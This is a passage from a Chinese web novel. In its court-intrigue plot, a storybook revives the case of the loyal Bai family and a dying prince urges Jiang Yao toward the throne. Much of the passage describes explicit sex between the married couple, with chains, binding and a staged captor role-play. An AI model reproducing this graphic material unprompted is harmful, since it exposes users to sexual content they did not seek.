江曜的命,他只认为是老天在摆弄,即使是天,他也不会轻易认命。
说改命,若姬时语一个话本便会改写他的命。
江曜只觉得这事可笑。
因此,江曜会纵容姬时语去做她心甘情愿做的事,无关旁的。
她喜欢便好。
果不其然,姬时语喜笑颜开,扑进他怀里溢出笑声:“当真吗?”
“千真万确。”
“那你不问问我写话本,是为何?”
姬时语偏了头颅,猫瞳闪烁几分灵动,她在有意撒娇,摇着他的手臂便是无声的道:
你快问呐,问我呢。
江曜抿唇一笑,道:“那阿锁是为何突然心起?”
“我同你讲,安国公府以戏班故意将你和白家往事挑起,闹得人尽皆知,但这再论起来也不过是风言风语。”
姬时语很满意,她摇着一根手指自傲道:“既如此,我要乘上这阵风,让他们也尝尝闹大的后果。”
……
姬时语说的乘风,便是她以江曜为骨,写出一本新话本,凝聚血肉。
她倾注正三日的日日夜夜,写下一本白家往事录。
世人往往犹记在心的,全是些拉闲散闷的笑谈。
忘却的,是当年白家立下的赫赫之功,白家为驻守边关,上上下下战死的二十条人命。
而这些,世人忘了,姬时语便让众人再度想起。
安国公府搭设的一出戏台子,于这个冬日喧腾一出沸腾滚火,公然指摘楚小王爷江曜身世不明,其母系白家罪臣之妹。
楚王竟与白家女婚前暗珠胎结,有了江曜。
早朝之上,非议的声音更如潮水,一浪又一浪席卷缠上江曜。
江曜面若镜湖,从头到尾未因这桩事提一个字。
反倒是安国公死抓着不放,令忠义侯姬雄武再看不过眼,斥责他一句。
“外头那些个戏子唱戏,安国公府竟如此较真,所图为何?”
姬雄武威严的虎目一凝,高声不悦:“安国公夫人还曾为白家大小姐,安国公就这般恨自己的岳家?”
“哼!”
安国公不甘示弱:“我倒是看忠义侯府早与楚王府沆瀣一气,也是,当年忠义侯与罪臣白家来往密切,本公有理由状告你包庇孽子江曜!”
“国有国法,陛下还坐在龙椅之上,并未治我的罪。”
江曜冷眼射来,如同冷箭射穿安国公,“安国公便要越过陛下定罪,怕是图谋不轨。”
安国公的指摘不是,对江曜无半分杀机。
反而江曜一顶高帽盖下来,上首的弘文帝旋即龙威震怒。
“安国公,你是对朕不满?”
“臣不敢。”
安国公畏缩退回公卿队列,
而他的真心算计也已达到,弘文帝对江曜更无好脸色,早朝是甩脸便轰散重朝臣。
下朝之后,姬雄武寻到江曜,冷面问他究竟生
了何事。
江曜答道:“阿锁有主意的,便就在这几日了。”
“阿锁?”
姬雄武好生疑惑。
不过仅仅两日,姬时语的话本便成册摆上明光书肆的书架。
明光书肆的名声在外,新话本一问世,门庭是被围得水泄不通。
于是紧接着的几日,陆掌柜跑了几趟,专程将几本话本送至京城最大的几个戏班,交代班主尽早上戏。
滚滚风雪扫荡京城,各街道寒风猎猎,连楚王府的黄瓦也被厚重的琼华铺盖而满。
便在这时,安国公府那一出戏了毕,你方唱罢我方登场,新戏开唱。
戏中白家忠心君主,上下男丁几近战死沙场,便是这么一门满门忠烈,为何会犯下通敌叛国之事呢?
白斩霍到死也没吐一个字。
而江曜,只因其母流放,被迫沦为乡间野狗,费劲艰难幸得忠义侯府栽培,终回到楚王府。
才该可悲可叹。
白家与江曜,打起初便不该不是笑谈。
萍亭与姬时语说时,有荣共焉,“王妃,陆掌柜立下大功,满京城同演这出戏,各府便皆知情,不会受蒙蔽了。”
姬时语直笑道:“那感情好啊!”
这些时日姬时语便大门一步不出,在府上整日听萍亭与萍柳打听街上那些事儿,悠闲的很。
冬日时,屋外风雪沉沉。
王府管事得了命令,王妃畏寒,因此每日购置的炭火,大半都送来寻阳院。
姬时语在屋中取暖,为屋外的传言心生满意。
要的便是百姓怜惜白家。
得民心者得天下。
姬时语绝不会给安国公府,亦或胡氏踩着江曜起复的机会。
戏演的味儿烈,白家一案再度被推到风口浪尖,早朝之中的声音愈发的大。
竟有大胆的朝臣,上书情愿弘文帝重查当年。
“陛下,白家人忠心耿耿,至死也闭口不提通敌,当年恐怕真另有隐情啊。”
阁老房平听得此话,不免唏嘘起来。
为着是曾经叱咤沙场的铁骨汉子,白大都督,白斩霍。
近来风声过甚,连房平也禁不住开口:“陛下,当年那封书信确实未查清可是白斩霍亲笔所写,他便在狱中丢了性命,此事想来便极为蹊跷。”
魏召应和:“陛下,臣恳请。”
连带众朝臣附议,“陛下。”
“好啊!”
弘文帝不怒自威,他甩了奏章,“你们是要逼朕推翻当年的旧案?当年的圣旨是朕一个字一个字亲笔写的,怎么,若白家受冤,朕要再写个罪己诏不成?”
房平为官多年,一听弘文帝这话,便知陛下是真动了要重查的念头,只是过不去心里那个砍。
“陛下怎会有错,白家的背后全是有小人、有鬼推磨。”
因而房平立即道:“陛下若揪出小人,那便是再圣明不过的君主。”
“便依阁老所言,传朕旨意,重查白家旧案,交由刑部与大理寺同处,不得有误!”
弘文帝的脸色好看不少,他下了口谕,随即皇帝瞪着一双怒目,投向安国公。
“安国公扰动内乱,革职三月,罚闭门思过!”
这桩白家旧案,皆因安国公府生起祸端,弘文帝誓必要治安国公的罪,让三皇子党少动歪心思。
江曜风尘仆仆地下朝归府。
一踏入屋中,如同卷入一团暖火烘烤,他热得当即褪去大氅。
姬时语笑他:“你还是那么怕热。”
“是你太畏寒。”
江曜走来牵住姬时语的手,心觉小姑娘软乎乎、暖烘烘的,揉着她便一阵意动。
第139章
江曜说起早朝之上,弘文帝下旨,重查当年白家通敌叛国。
他眼眸未变,狐狸眼深沉,“阿锁真确信当年白家受冤,而非我舅舅……他真犯下通敌叛国之事。”
“我虽不知白家往事,但我信我爹。”
姬时语回握住江曜的手,“我爹和白大都督多年至交,他不会看走眼,此事定有隐情。”
“嗯。”
“若此案能翻案,也能还白家一个清白,到那时,伯母……我信父王便可下决心,将伯母的墓遣回京城。”
姬时语没忘记江曜之母白流,那尊留在城外乡间孤零零的坟冢。
这该是楚王父子俩的心结。
江曜拥姬时语入怀,他低声道:“阿锁,谢谢你。”
……
白家之事轰动,不过两日,楚王府的管事便匆匆给姬时语递来信。
二皇子江承德派了人来,请江曜与姬时语过府一趟。
夫妻二人惊觉事端不小,两人没做耽搁,当即便出府乘坐马车,往二皇子府赶去。
今日是长林亲自来请,甫一到府门,长林拂开门前侍卫,大步朝里为江曜两人引路。
一行人踩踏过厚实的雪层,一路急行来到二皇子府的主院。
长林并未入内,只为两人敞了屋门,作请道:“小王爷、楚王妃请。”
姬时语随江曜抬步入内。
内室之中弥漫着浓郁的苦药味,江承德的住处很是宽敞,姬时语随处一扫,器具却是了了。
“咳咳咳。”
江曜已先一步入了内室,姬时语紧跟其后,见礼道:“二殿下。”
路上两人听长林说,江承德染上风寒,他身子一年比一年体弱。
而今年的这场风寒,高热近半个月也不见好。
今日他勉强能起身,江承德便直言命长林去请楚王夫妻。
“小王爷,咳咳咳,你来了。”
江承德靠坐于床头,他面色苍白,唇上一片乌青,颧骨凹陷,连眼窝也深陷其中。
姬时语心下大骇,成亲那时她见过江承德,那时候的二皇子还有些人样。
短短两个月,他竟瘦成一具皮包骨头,病气全然入体,不得好转。
江曜亦是拧眉,“御医可有看过?”
江承德摇了摇头。
江曜明晰他的意思,他搬来一把扶手座椅,让姬时语落座,又为自己抬来一尊圆凳。
“眼下……三皇弟有些,急不可耐了。”
江承德重重咳嗽了几声,拉扯着几乎哑了嗓子,艰难开口:“步步逼迫,他们想……动楚王府。”
江曜沉声回:“你放心,有我在,他不会得逞。”
江承德闭眼缓慢点头,复而道:“我要说的,是另一事。小王爷,我不得眼睁睁看着,看着江家江山……倒垮,你我同……姓,我想你,护着……”
江曜闻声色变,他立马道:“二殿下,这事恐怕有些难。”
江承德沉默不语,他摇头。
姬时语静静望着床榻之中的江承德,不知为何,鼻子生起一团酸楚。
室内突然便陷入死一般的寂静。
就在两方僵持之时,屋外的长林推门而入,禀报说道:“殿下,柳大小姐求见。”
江承德那双灰败的眼骤然睁开,姬时语亲见他眼底一闪而过的亮光。
可是,他动动唇,闭眼又说:“不见。”
姬时语终是不忍,她起身便道,“殿下和王爷商议,我去见柳大小姐,可行?”
江承德未应不可,姬时语便当他是应准了,起身便去往外室。
长林听得此话,让出身位,引屋外之人入内。
姬时语侧目,柳瑾瑜身披丁香色的裘衣跨步进屋。
她的眉眼落着雪花点点,是柳瑾瑜将本就冰冷的容颜,融入这场漫天大雪。
“柳大小姐,殿下还在商议要事,你请坐。”
柳瑾瑜并未答,她在姬时语身侧坐下,一双眸子频频往内室的那厢瞥去。
两人并不熟悉,柳瑾瑜性子话少,姬时语不好贸然与她攀谈。
静坐片刻,内室也并未传出任何声音。
“王妃娘娘,你可知殿下的身子如何?”
柳瑾瑜回头,平静的眼睨向姬时语,顿了顿,她眼眶微红,话音哽咽。
姬时语直言:“病得十分厉害。”
“我想探望殿下,他却总不肯我见他。”
“他怕是不想你太担忧。”
“实不相瞒,我倾慕殿下已有许久,自小,姨母便告诉我,我会是表哥日后的正妃。”
柳瑾瑜仿若开了话茬,在这一刻眼角蓄起泪水,她搓搓手,声色低沉,“为了堪佩二皇子妃,我等得许多年,却始终没能等到他讨一封赐婚圣旨。”
姬时语不知嘴里是何种滋味。
兴许是她对江曜深重的心意,连带柳瑾瑜诉说的恋慕之情,她很能感同身受。
尤其是江承德眼见大不好,柳瑾瑜所求,八成恐是难事。
“柳大小姐……”
姬时语很想劝慰她,但酸涩充斥唇齿,几度开口也没能说全话。
柳瑾瑜垂首,忍下泪意。
这时江曜的身影从内室而出,姬时语便起身直直看他。
“阿锁。”
江曜唤了姬时语,侧过头,他见到一旁的柳瑾瑜,说道:“殿下要见柳大小姐。”
柳瑾瑜冷淡的脸顿时生出欣喜,她迫不及待地奔入内室。
姬时语目送她背影隐去,只是瞧了那么一会儿,内室便传来一阵阵压抑的哭声。
江曜过来牵起姬时语的手,她心中仍是不好过,低低喊他。
“哥哥 。”
“先回府再说。”
两人来时一路沉重,回府时更是沉默不语,谁也不曾开口。
入了寻阳院,周身暖意流传,姬时语换下大氅,舒口浊气。
她脸颊有了笑容,回身便喊江曜。
“在二皇子府上我真话也不敢多说,就怕说的重,殿下身子承受不住。”
姬时语无意间问江曜,“对了,殿下同你说了何话?”
屋外风雪骤大,白茫一片,琼华尽落。
江曜平静望她,缄默着。
自打从二皇子府归来,江曜的脸上便是不变的死寂。
“怎么了?”
姬时语心头一个咯噔,她很少见江曜的神色如斯凝重,“殿下的事真不容乐观?”
良久之后,江曜才开口。
“他想要……楚王府。”
姬时语的心神倏忽间炸开,她恍然大悟,那句“你我同姓”,竟是这番意思。
江承德不想大皇子亦或三皇子一党荣登大宝,他期盼江氏江山后继有人,亲自为弘文帝寻得新的储君。
今日他寻见江曜,是在交代后事,怎么会这样!
而这样一来,江曜和她,如踏入水深火热并无差别。
江承运与江承北绝不会罢休。
论正统,楚小王爷江曜不过皇族宗室,无论如何也越不过两人皇子之身。
江承德,是害楚王府,还是助楚王府啊!
姬时语的心,登时焦灼难堪。
“阿锁。”
江曜只是望着她,眼底的昏暗不时抖动,仿若刹那间,随时便会崩塌。
姬时语目不转睛。
两人相识多年,姬时语自诩她已懂江曜的心。
待看见他的这双眼,她生起了一个念头。
他竟动摇了。
江曜舍不得她被卷入这场祸水。
他想在风浪洪水之中,托举她去往岸边,自己独行。
可怎么能?
他别想抛下她独自走。
“江曜,我不准。”
姬时语几乎不曾犹豫,她即刻上前捧住江曜微凉的脸,说的坚决,“你忘了你说过的?即便是死,你也不会抛弃我。”
江曜知道,自己没得选。
江承德今日摊开说的那些,字字真切。
若不主动出击,哪日江承德倒下,朝中再无制衡。
两党必角逐一胜。
这条路,输了便是死,没有第三条路可走。
“阿锁,夺位不是胡闹玩笑。”
“哼,我会不知道?”
姬时语为江曜当她说玩笑话而生气,她起身便钻入内室。
江曜眼见那道曼妙的身子消失不见,却不知她意欲为何。
待珠帘再度被挑开,姬时语娇柔的身躯已被几根红绸缎带缠满。
“夫君……你喜欢我这样,是不是?”
她一双秋波眼明媚绽笑,眼尾春/情袅袅,红绸缠缠绕绕于她的脖上、肩膀再到手臂、腰间。
江曜那双狐狸眼刹那热了。
雪白肌肤的小姑娘踩着脚步,她的娇躯靠近时,因红绸缠满,火红映衬在她娇嫩的白之上,无法言喻地引诱着他。
“如果这样能让你安心一点的话。”
姬时语拉扯长自己的脖颈,她唇里的那根红绸落在颈部,双手再一扯,身上、腰上的绸缎收紧。
她道:“那便将我绑起来。”
她甘愿被困在囚笼,只为让江曜为此亢奋,摒弃那些犹豫的念头。
两人不是早已说好,黄泉路上,也会是夫妻一对。
“阿锁。”
美人勾他,江曜再难自持,抬步便将姬时语抱起。
他重重寻着她的唇,落吻于其上。
“死也得陪着我。”
江曜再度说出那句话,姬时语竟弯腰生笑。
她热情回应他的吻,放任他亲到深处。
这个吻在两人唇间触碰许久,江曜挪开唇的间隙,他却一把抱起姬时语的膝窝,大步朝外走去。
“啊……你要去哪儿?”
屋外的寒风呼啸得冷冽,江曜将她裹入大氅,严严实实抱在怀中。
不等姬时语再问,江曜二话不说牵出一匹马,抱上她,朝风雪之中飞驰离去。
城中的大雪未停,姬时语眼前白茫茫,视野全无。
直到江曜停下,再度抱起她入院。
姬时语惊讶察觉,两人竟是又来到了江曜的别庄。
故地重游,只会有一个缘由。
姬时语双目瞪大,江曜已是飞快摁下了暗扣机关,随着吱呀一声,暗室的阁门缓缓而开。
江曜将姬时语抱上暗室的床榻,她身上缠绕的红绸还未被解开,便被“啪嗒”扣上了镣铐。
“江曜!”
姬时语被气笑了,她切齿道:“你抱我来这儿就为了锁住我?”
江曜凝视着这一幕,墨瞳顿生起情/欲。
一滴墨好似凝在他眼中,化不开。
他笑道:“我好喜欢。”
啪嗒、啪嗒。
姬时语的双手双脚,稍一挪动,四根沉重的铁链便落了地。
“阿锁,你锁住铁链的样子,真漂亮。”
江曜俯视着她,一双狐狸眼浓稠的阴郁翻涌,与无尽的爱潮冗杂,令那张雪色容貌昳丽癫狂。
“上回我放过了你,这回,不会那般轻易就结束了。”
第140章
别庄长久无人,乍然一入暗室,又是冬日寒冰天,姬时语被冻得全身一个哆嗦。
她直喊:“江曜,好冷。”
江曜随即起身走至暗室的一处墙沿,点燃壁炉,不多时,整个暗室便明亮起一方天地。
“好些了?”
江曜回问,姬时语轻应了一句尚可。
见她不再喊冷,江曜提步走来。
这座昏暗阴冷的暗室,因他挺立高大的身影逼近,令姬时语生出一分惴惴不安来。
姬时语下意识问道:“能不能解开镣铐?我不舒服。”
“不能。”
然而下一刻,江曜竟当着姬时语的面,从怀中掏出一本册子。
“阿锁写的话本我们还未照做过,今日便试一回吧。”
他翻开便念道:“来,你再问一遍方才的话。”
“啊?”
姬时语迷迷瞪瞪地,片刻后她犹豫道:“能不能解了……我的镣铐?”
“怎么,公主殿下是又要舍下我投入野男人的怀抱?”
江曜顿时入戏,他扣起话本,“阿锁,多年未见,你身边为何多了这样之多的倾慕者,一个个的,用肮脏不堪的眼看着你,他们也配。”
姬时语一眼便知,他在扮作书中那位小公主的青梅竹马。
少年将军冷峻的面庞之上,是昏暗的郁色。
他在质问她,当初为何要不告而别。
“今日我们先做一回夫妻,待走出这间暗室,我便去将那些野男人全杀了。”
姬时语本瞪着一双含笑的猫瞳,看江曜入戏极深,有滋有味。
谁料江曜上前便捉住了她的双脚,褪去鞋袜,她的脚面落地时,沉重的铁链声随之响彻耳畔。
他又去解她的腰带,姬时语登时被吓得慌张,反手去捉他的手。
奈何江曜眼疾手快,大掌揽住两条铁链,他朝下一举,铁链拴住姬时语的手。
哗啦、哗啦,两声作响。
江曜便将姬时语的一双手腕尽数并起,抓高至头顶。
柔软的娇躯扭动着,铁链捶地,不住发出啪嗒声。
而这些无一不在为江曜助兴。
他眸子暗沉,笑意浓郁:“怎么,你不愿意?”
“不,不是的,你听我解释,你不该这般发疯的!冷静点,好不好?”
姬时语的腰肢被迫侧歪,江曜的手便触及她的缎带,一把抽掉。
“你究竟在怕何事?当初先说喜欢我的是你,阿锁,我们是两情相悦啊,我心悦你,喜欢到要疯掉。”
罗裙零落至地,小衣也被褪下。
爱妻在怀,江曜的眼霎时暗色翻涌,他的手指便往下探去。
姬时语想要挣扎,手腕被举高,腰窝朝后凹起。
玉白之上的一点红便被她,亲自送到了江曜的唇边。
他含住了。
姬时语呜咽出声:“你……你的牙齿,夫君,呜呜呜,不要欺负我……”
“阿锁,让我发疯的人是你,这辈子你都得在我身边,安抚我啊。”
红绸被江曜解开,抽离几条丢开在地上,他捧起姬时语的脸,吻上她一张一合的唇。
两人的喘息声在唇齿之间传递,勾着彼此陷入极深的境地。
“还冷吗?”
江曜贴着姬时语的唇瓣问她。
她鼓起唇,离得近便又亲上了他,“不太冷了。”
“那好。”
姬时语压根不明白这句话的意味是何。
只是她应下后,江曜便兀自捉起她一只脚踝,勾手将她的腿垮上了自己的腰间。
“你别想逃,外头也不会有人救你,今日在这天地之间,你我必将成为夫妻。”
为江曜的突如其来,姬时语瞪大了眼。
便好似两人真化作话本中的公主与少年将军,竹马正厉声质问着公主为何召见朝中几位大人,唯独不肯见他。
他见不得她与旁人的亲密,太过气恼,一怒之下将人以铁链锁于屋中。
姬时语的腰塌陷下去,她仰躺倒入身后柔软的床榻。
手腕被江曜攥住,绷得直直的。
是来的太多,如冬日京城十二月绵密的大雪,重重覆满
天地。
姬时语惶恐的不敢睁眼。
“阿锁,看着我。”
江曜的气息不稳,低沉清冷的嗓音落下时,他不容抗拒地要她睁眼。
她的一双腿还跨在江曜的腰上,她只敢半眯着睁开眼。
眼瞳微转,稍稍抬首,便见江曜偏着头颅,下颌紧绷,薄唇轻喘。
他又问:“你喜欢我,还是外头那些野男人?”
瞧他一副吃了狠味的急切模样,姬时语莫名觉着好笑,她故意不随他意,哼着说。
“我喜欢谁呀?哼,反正不是你!”
这么一遭,江曜霎时阴郁,他猛地拽起姬时语的手臂。
被抓举而高之下,她的后背离开床榻,半直起悬落于空中。
姬时语更是短促尖叫。
惹到吃味的男人,必然会遭受不住。
姬时语后悔极了,她就不该故意逗弄这小心眼的男人,后吃苦果的还是自己。
“不是,不是!”
她忙改口:“是你,只有你最好!”
“现在改口,晚了。”
姬时语终于懂得什么是悔不当初,江曜听她那句话,气恼非常。
这回势必要将她哭出声才肯罢休。
许久,她哭喊的嗓子微微沙哑,后腰才被放置回床中。
“你过分,只许你开玩笑,不准我开,真是只许官家放火不许百姓点灯,霸权!”
“你说说方才你说的是何话?阿锁嫌弃我不够厉害,嗯?”
“才没有,才不是……”
姬时语哭得泪水涟涟,眼瞳潋滟。
她倒躺在床里,暗室之中微弱的火光照亮她雪白的肌肤,零星红点,美得不可方物。
江曜的喘息声立马加重。
“别这么看我,我忍不住。”
“呜呜呜,你好讨厌,我做什么你都要说!”
不给姬时语哭闹的机会,江曜将人翻了个面。
这回没再抓她的手腕,得以解脱的刹那,姬时语好受不少。
只是她刚伏趴在绸缎之间歇息片刻,一道喘息瞬间落在她的耳后。
结实的臂膀贴上了她的,江曜身体十分修长,肩宽腰窄,他只是自后抱起她,便似将娇小的她整个容纳于怀抱。
“还不能让你歇呢。”
江曜犹不满意,他没有放过姬时语,而是恶狠狠咬住她的耳垂,吮/咬着质问她。
“阿锁为何不是初次承_欢?是谁得到了你,外头那些个野男人,还是……告诉我!”
他故意恶劣地欺负姬时语,听她被自己逗/弄的啜泣,更多是两人夫妻之间的欢_愉。
“快说,是谁!”
江曜真做出了要杀人的气势。
“你还问我?”
姬时语气得快咬牙了,十分受不住他问这样的话,手指立马掐上他的手臂,亦用着大力,掐他挠他。
“我已嫁人为妻,与我夫君恩爱有加,我们夫妻之间岂是你这个恶徒能懂得的?我告诉你,今日你得到我的身子,也得不到我的心!”
“好,很好,那我就让你见识一番,什么才是得到你的身。”
江曜抱着她挪下了地,姬时语迫不得已只能站立,稳住身子。
“你可要抓好了啊。”
紧实有力的腰/身满/上她,姬时语终于是
第一回清晰地明白杜南霜口里的,劲劲的公狗腰,是为何意。
姬时语双手抓着床榻边,她的腰窝塌陷,弯折下来,听到身后隐忍的喘息声,双目随之茫然起来。
江曜好似气狠了,两人之间还从未有过如此举动。
姬时语眼中暗室壁炉的那团火,正剧烈的颤栗着。
火光发疯似得摇曳。
“阿锁,你再说说,我同他们,谁更好?”
“呃。”
“我比不过你的夫君?”
“比不过……”
“那你为何在我怀里从未想过要逃走,还把我回抱的这么紧?我看你也不多喜欢你的夫君吧,是不是?”
“才不是!”
江曜轻笑一声,他吃味的十分能有十一分,便去亲啄她雪白的后背,沿着脊梁落下吻。
话本里说,她趴下去时,正好引他俯下亲她的背。
好美。
江曜喜欢这样痴迷地亲她,一口又一口。
姬时语弯折的厉害,一双手腕锁住的铁链,随他的每一个俯吻,啪嗒打在地上。
如同一道重锤,打在两人心尖,一击又一击。
“要我还是你的夫君?”
“我要夫君……我只要我的夫君,江曜……”
见姬时语在这等时候了,人几乎快要昏厥,口里还是喊的他的名字。
是全心全意的爱着他。
江曜的心顿生一股澎湃的爱意,那种喜欢她的感情比以往的哪一刻都要深切。
是他太坏,将他的阿锁欺负惨了。
“夫君不好,不该作弄你这样久。”
江曜终是不在入戏,重回两人夫妻的身份,他在后亲吻她,不住地安抚姬时语。
这回是没了先前的凶狠急切,狂风暴雨平息下来,变得安宁。
“江曜,哥哥……”
姬时语的口里喊着他的名字。
“夫君疼你。”
“可是,可是,我抓不住了。”
姬时语的手腕长久抓着床沿,是好累的。
加之还要抵抗后背的弯折,铁链啪嗒落地,她的手臂亦是不稳。
江曜改为拖住她的腰,将人抬抱而起。
姬时语不多喜欢这样,她微有不悦,双手禁不住,只能掐住江曜结实的手臂,努力撑起。
“我抱不到你,我不要……我想你抱着我。”
“我不是一直在抱着你?”
江曜自后贴上她的脖子,一个绵长的吻落在了她的侧脖颈,他伏在她颈部喘息,声色撩人。
姬时语感觉自己被抱高了,她再垂眼,膝窝被挂在江曜的手臂。
“不要这样……放我下去。”
“再等一会儿。”
姬时语的玉颈瞬间拉长,她的脑袋蹭上了江曜的脸颊,他飞快偏头,寻到她的唇,便覆盖上去。
江曜以温柔的亲吻哄着姬时语,令她好受不少。
也忘却了两人究竟在做何事。
暗室之外这场大雪仍未止,京城的冬日总是来得长久,寒风吹拂来时,雪色翻飞。
暗室中的壁炉烧得正旺,姬时语畏寒,却并未察觉到一丝寒冷。
她被拥入一个温暖的怀抱,便未被放开过。
不过她仍记着,每年的冰雪冬日过去,来年便会是满园春色。【你现在阅读的是 】
140-146
第141章
姬时语十足后悔、万分后悔。
隔日睡醒起来时,总觉着双腿酸疼发软,而腰肢更是饱受摧折,几近要折断。
昨夜她取来红绸自己绑起自己,是真令江曜把持不住将她摁在榻上,反复折腾。
更过分的是,江曜自后拥住她,哄骗她再多支撑一会儿,便抱她去床上歇息。
他口里的“一会儿”,姬时语总不知道是多久。
只因后来她又昏睡了过去。
好在两人胡闹一夜,江曜尚存有几分良知。
她虽陷入昏睡,但依稀记得夜里江曜去烧了热水,将她抱去清洗一番。
洗罢后,两人便未睡在暗室,而是在别庄的正屋歇下。
姬时语醒来,眼前是生着火盆的内室,房中干净整洁,书案空无一物,唯有一只青玉花瓶。
她曾与江曜说过,别庄该添几样物什。
江曜总不以为然,说两人鲜少去到别庄,又有何妨。
姬时语这会儿想着脸红,两人确实很少来别庄,每回前来,还都是入暗室,从未在外间歇息过。
眼下江曜不在,姬时语便起身下床。
昨夜江曜为她身上换了一身亵衣,床头的木凳摆着一件藕粉袄裙,姬时语拾起便穿戴上身。
她才穿好衣裳,外室便有了响动。
江曜大步入内,在他身后,是跟随而来的萍亭与萍柳,江曜见姬时语醒来,笑喊:“阿锁,过来用早膳。”
萍亭、萍柳得了林一的命令,得知姬时语和江曜会在别庄留宿几日,两个丫鬟便自告奋勇,前来帮衬。
早膳盛上,两人服侍姬时语用早膳。
姬时语是真饿得前胸压后背,她捻着酸豇豆,与喧软的肉包一道,吃下三个大包子。
江曜打量睨眼:“你很喜欢祖父腌的酸菜?”
“味道是很不错呢。”
“祖父若听了你这话,定喜不胜收,他老人家巴不得人人同他讨要瓜果蔬菜,日日吃上他种的菜才好。”
江曜说起楚王府的亲眷,已去了几分拘束,是愈发坦然能接受自己是楚王府血脉这件事。
姬时语为此感到开怀,她捻起一个放入江曜的碗,“哥哥,你尝尝看?”
江曜顺着姬时语的手,吃了一口。
姬时语笑问:“如何?”
“还成。”
“真是的,不会多夸两句。”
江曜却勾住她的手腕,薄唇笑意很浅,只是说:“你喜欢便多用些。”
“好嘛。”
姬时语对此没辙。
江曜总是一副冷脸,好像对世事并无所谓的样子,然姬时语是见过他为所动时。
当两人行亲密之举,他那张冷漠脸却总布着潮红,墨瞳震荡,是一下比一下有力。
每回还非要她看着他,不准闭眼。
因而抱怨归抱怨,姬时语小口咀嚼用饭,不时提溜眼珠子,瞄江曜两眼。
那面的江曜捕捉到她的目光,狐狸眼抬起,便问话道:“总看我作甚?”
姬时语端详他那张清冷的脸,是天人之姿,又不动声色,让人总想摆弄出别样的模样,她心头痒痒的不行。
捧着脸,便俏生生笑道:“夫君,我想到一桩事。”
“你说。”
“那你先应我,可好?”
姬时语眼眸灵动,三分狡黠,闪过时江曜洞穿个正着。
但他并未说何,反镇定道:“我应你便是。”
“那敢情好!”
姬时语等的便是他这句话。
江曜挑眉,追问道:“所以究竟是何事?”
“你等着瞧嘛。”
姬时语转身便去喊萍亭和萍柳,命两人跑一趟王府,将箱笼之中杜南霜送来的包裹取来。
萍亭应了是。
江曜听得这话,眼眸幽深,“杜南霜给你送了何物?”
“哼哼!”
姬时语终于趾高气昂了一回,她环臂立在江曜身前,拿胳膊肘顶他的肩膀,“夫君,你害怕吗?”
两人换了位,从前是江曜总欺负她,问她“怕不怕”,而今姬时语问出这句话时,心头那叫一个爽快。
原来欺负人是这样快活啊!
姬时语还想多欺负江曜,她捧起江曜的脸,“好啦,你应过我的,今日便得听我的喔。”
江曜未语,他双手握住姬时语的芊芊细腰,摩挲了两下。
两人等候了近半个时辰,终得到了萍亭与萍柳的折返。
“王妃,您要的包裹。”
萍亭将物什交到姬时语的手上,包裹系的不紧,微微开了一丝缝隙。
姬时语抱在怀里,瞅见里头的绒毛,一张小脸是霎时变得通红。
江曜喊她:“阿锁。”
姬时语惊慌失措地差点将包裹抖落在地,她强行镇静下来,咳嗽两声,便牵起江曜的手。
两人再度往内室之中的暗室而去。
姬时语示意江曜开门。
江曜垂眸瞥眼她怀中之物,问:“你确定要进去?”
“去,必须去!”
姬时语这回咬了牙,莹白小脸忿忿,“只准你将我锁在暗室,不准我来一回?”
“哦?”
江曜恍然大悟,“阿锁要锁住我啊。”
“不是,才不是呢!”
姬时语意识到自己说漏了嘴,忙不迭捂嘴,摇头改道:“我是说,在里头好行事,外头若旁人知道了,羞死人啦,快开门,我要进屋!”
她是真急切,江曜便随她心愿,开启暗室的机关。
等屋门轰隆隆闭合起时,两人便身处于昏暗的暗室之中。
屋里已被江曜清洗一遍,两人昨夜留下的痕迹仿若消散,微有淡淡的玉兰花香充斥。
是姬时语身上的味道。
姬时语嗅到了,又是一阵面红耳赤,她抱紧怀中的包裹,朝江曜哼哼。
“你快过去,去床榻上坐好。”
姬时语推搡着江曜,无法,江曜只得乖顺听她话,端坐在了床上。
“还要怎么样?”他问。
姬时语苦恼地拾起镣扣,想系上江曜的手腕,可左右摆弄之下,镣扣太小,怎样也系不住他。
江曜笑道:“这是为你做的,大小只合你的身。”
“你!你!”
姬时语不知是气的,还是羞的,满脸通红,她还想质问呢,江曜却提了一句。
“你想绑我,可以用红绸。”
他此点甚妙,姬时语当即便拿起一根长长的红绸,将江曜的手腕并起,绑于身后。
因在别庄,两人穿着极为轻便,皆身系一件外衫,并不繁琐。
而江曜今日一袭墨黑流云金纹的外袍,显得人颀长冷漠。
江曜坐于榻上,静静注视她,一双狐狸眼阴郁且温情,手腕被绑起在身后,他却不恼。
好似在静候她的动作,一动不动。
姬时语握住他外衫的衣襟,一点一点拨弄开,先褪去他的外衣,再又是里衣。
江曜的手腕被系着,衣物褪不下去,只得袒_露洁白的胸/膛,旁的衣物挂在手臂间。
他的胸/膛一览无遗,随着大力的呼吸,起伏不平,那处线条极好的肌/肉,引人垂涎。
姬时语情不自禁看了好久,脸上烧得更烫。
她是真的好喜欢,江曜的身/体啊。
江曜不是没留意姬时语恍惚的眼神,光是看着他,她便眼波荡漾。
他恶劣的心思又压不住,想欺负眼前的人儿。
“阿锁,该做什么了?”
“对喔。”
姬时语想起那只包裹,赶忙翻开,从中取出一对毛茸茸的狼耳,与一条宽大的狼尾巴。
江曜瞳孔一缩,“原来阿锁喜欢这个啊。”
“你闭嘴!”
姬时语绝不想暴露自己的小心思,她羞愤地喝令江曜不准说话,双手又将狼耳系在江曜的头顶。
而那只狼尾巴,她摸出里头的系带,便盘上江曜劲瘦的腰身,将带子扣上。
江曜晃动了一下脑袋,耳朵微微动。
姬时语见到,心砰砰直跳,脸红的不行。
江曜是彻底看穿她的心思。
小姑娘面色飞红,双眼迷乱,眼珠子凝在他身上还不肯挪开,分明就是垂涎他。
啧,他还要扮成狼,供给她玩。
不过,罢了,阿锁喜欢他的皮囊也好。
“喜欢吗?”
江曜不动,只用声音勾她靠近,“阿锁,过来,摸/摸我。”
“这样好吗?”
姬时语迟疑了。
“你将我绑起来,不就是怕我反客为主?”
江曜笑道:“来吧,现在我是你的,任你处置。”
这句话太过于诱人了。
而当江曜坐直身体时,他胸/膛之上的青筋,瞬间暴起,盘虬而下,一点点没入亵裤。
姬时语不敢呼吸,她爬上江曜的身,一双手便尽情随心所欲。
她一贴过来,便清楚的听见了江曜唇中溢出的微喘。
也是这个时候,姬时语察觉自己坐着的,有些咯人。
耳尖滚烫,手心之下的肌肤,更是满满热气。
“阿锁就这么喜欢。”
“我可不是喜欢,我是想知道你在岭西那五年日复一日的苦楚,我没陪你走过的那些路。”
“那你还揪着我不放?”
